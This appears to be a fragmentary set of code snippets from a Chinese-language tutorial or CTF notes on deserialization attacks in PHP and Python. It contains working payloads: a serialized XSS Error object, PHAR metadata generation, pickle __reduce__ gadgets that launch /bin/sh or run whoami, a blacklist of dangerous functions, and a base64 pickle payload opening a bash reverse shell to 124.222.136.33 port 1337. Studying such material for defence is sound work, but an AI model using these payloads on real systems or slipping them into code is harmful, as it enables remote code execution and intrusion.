1
2
3
4
5
6
7

<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);  
?>

//输出: O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

$a = new yesterday();
$a -> study = new today();
$a -> study -> doing = new future();

$phartest=new phar('test.phar',0);//后缀名必须为phar，生成后可以随意修改

$phartest->startBuffering();

$phartest->setMetadata($a);//将自定义的meta-data存入manifest中

$phartest->setStub("<?php __HALT_COMPILER();?>");//设置stub，防止phar文件被直接执行

$phartest->addFromString("test.txt",'test'); //添加要压缩的文件
//签名自动计算
$phartest->stopBuffering();

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

import os
import pickle

class Demo(object):
    def __reduce__(self):
        shell = '/bin/sh'
        return (os.system,(shell,))

demo = Demo()
pickle.loads(pickle.dumps(demo))

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

#R
b'''cos
system
(S'whoami'
tR.'''

#i
b'''(S'whoami'
ios
system
.'''

#o
b'''(cos
system
S'whoami'
o.'''

前面也看过PVM如何解析pickle的了，这里；就不多说

1

black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]

1
2
3

class Exploit(object):
    def __reduce__(self):
 	return map,(os.system,["ls"])

1
2
3
4
5
6
7
8

class a():
	def __init__(self,name):
		self.name = name
	def __setstate__(self,name):
		os.system('calc')
tmp = pickle.dumps(a('aa'))
pickle.loads(tmp)
需要反序列化

1
2
3
4
5
6

class a():
	def __getstate__(self):
	os.system(calc)
b=a()
p_a=pickle.dumps(b)
直接序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

import base64
 
shell = b'''bash -c "bash -i >& /dev/tcp/124.222.136.33/1337 0<&1"'''  # 反弹shell语句
 
payload = b'''(ctimeit
timeit
(cos
system
V''' + shell + b'''
oo.'''
 
print(base64.b64encode(payload).decode())